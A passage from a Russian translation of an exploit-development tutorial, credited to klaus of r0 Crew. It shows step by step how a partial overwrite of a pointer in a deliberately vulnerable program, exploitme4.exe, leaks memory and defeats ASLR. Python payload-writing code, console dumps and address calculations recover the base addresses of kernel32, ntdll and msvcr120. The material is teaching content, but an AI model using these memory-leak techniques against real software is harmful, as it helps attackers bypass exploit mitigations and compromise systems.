Теперь давайте предположим, что мы не знаем базовых адресов kernel32.dll, ntdll.dll и msvcr120.dll, и мы хотим определить их полагаясь только на одну программу exploitme4.exe (так, что могли бы сделать это даже с удаленного ПК если exploitme4.exe был бы представлен как сервис).

Из исходного кода exploitme4 мы видим что ptr изначально указывает на начало массива name:

class Name {
    char name[32];
    int *ptr;
 
public:
    Name() : ptr((int *)name) {}
<snip>
};  

Мы хотим прочитать указатель на VFTable, но даже если мы можем контролировать ptr и читать данные откуда захотим, мы всё равно не знаем адреса name. Решение кроется в частичной перезаписи (partial overwrite). Мы просто перепишем наименее значимый байт указателя ptr:

def write_file(lsb):
    with open(r'c:\name.dat', 'wb') as f:
        name = 'a'*32 + chr(lsb)
        f.write(name)
 
write_file(0x80)

Если начальное значение ptr 0xYYYYYYYY, то после перезаписи ptr будет ровен 0xYYYYYY80. Теперь запустим exploitme4.exe (напрямую, без WinDbg):

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÇ°&!
 0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x
6ca0a0d5]
Do you want to read the name again? [y/n]

Как видим, первые 8 двойных слов начиная с адреса указывающего указателем ptr такие:

0x01142148 0x00000000 0x6cace060 0x0000000b 0x0026f87c 0x00000021 0x0026f924 0x6ca0a0d5

Никаких следов симовлов «а» (0x61616161) которые мы поместили в name, так что продолжаем поиск. Попробуем с 0x60:

write_file(0x60)

После обновления name.dat нажмите на у в консоли exploitme4.exe и смотрите на сдампившуюся память. Поскольку exploitme4.exe показывает 0x20 байт за раз, мы можем увеличивать значение указателя ptr на 0x20. Попробуем другие значения (продолжайте нажимать «у» в консоли после каждого обновления файла name.dat):

write_file(0x40)
write_file(0x20)
write_file(0x00)
write_file(0xa0)
write_file(0xc0)

Значение 0xc0 выполнило следующее интересное действие:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa└°&!
 0x00000000 0x0026f8cc 0x011421a0 0x61616161 0x61616161 0x61616161 0x61616161 0x
61616161]
Do you want to read the name again? [y/n]

Понятно, что 0x011421a0 это указатель на VFTable. Теперь прочитаем содержимое VFTable:

  def write_file(ptr):
    with open(r'c:\name.dat', 'wb') as f:
        name = 'a'*32 + struct.pack('<I', ptr)
        f.write(name)
 
write_file(0x011421a0)

Нажав «у» в консоли мы увидим следующее:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaá!¶☺☺!
 0x01141000 0x01141020 0x00000048 0x00000000 0x00000000 0x00000000 0x00000000 0x
00000000]
Do you want to read the name again? [y/n]
0x01141000 и 0x01141020 – это два указателя на виртуальные функции. Мы увидели что RVA на первую это 0x1000, поэтому базовый адрес exploitme4 такой: 
0:000> ? 01141000 - 1000
Evaluate expression: 18087936 = 01140000

Теперь время использовать всё что мы знает об IAT программы exploitme4.exe:

@exploitme4 + 00002000    kernel32 + 00014a25
@exploitme4 + 00002004    ntdll + 00039dd5
@exploitme4 + 00002024    msvcr120 + 000a4ced

Из-за того, что мы нашли базовый адрес exploitme4.exe (0x01140000) мы можем написать :

@0x1142000    kernel32 + 00014a25
@0x1142004    ntdll + 00039dd5
@0x1142024    msvcr120 + 000a4ced

Давайте перепишем ptr первым адресом:

write_file(0x1142000)

Нажав «у» в консоле мы получим:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
 0x76334a25 0x770f9dd5 0x763334c9 0x76331420 0x763311f8 0x763316f1 0x7710107b 0x
763351fd]
Do you want to read the name again? [y/n]

Мы получили два значения: 0x76334a25 и 0x770f9dd5.

Нам нужно последнее:

write_file(0x1142024)

Нажав «у» в консоле мы получим:

Reading name from file...
Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$ ¶☺☺!
 0x6ca94ced 0x6ca6bb8d 0x6ca1e25f 0x6ca1c7ce 0x6ca24293 0x6ca6bbb8 0x6ca24104 0x
6ca955eb]
Do you want to read the name again? [y/n]

Финальное значение - 0x6ca94ced.

Так что мы имеем:

@0x1142000    kernel32 + 00014a25 = 0x76334a25
@0x1142004    ntdll + 00039dd5 = 0x770f9dd5
@0x1142024    msvcr120 + 000a4ced = 0x6ca94ced

Поэтому:

kernel32 = 0x76334a25 - 0x00014a25 = 0x76320000
ntdll = 0x770f9dd5 - 0x00039dd5 = 0x770c0000
msvcr120 = 0x6ca94ced - 0x000a4ced = 0x6c9f0000

Поздравляю! Мы только что обошли ASLR!

Конечно же, весь этот процесс имеет смысл когда мы имеем доступ к программе удаленно, но не к машине. Более того, в данной эксплойте всё это может быть и должно быть автоматизированным. Здесь я просто пытался показать вам принципы работы и поэтому опускал детали, которые в последствии усложнили бы понимание. Не беспокойтесь: когда мы будем иметь дело с Internet Explorer, мы увидим реальный эксплойт во всей его красоте!

© Translated by klaus (r0 Crew)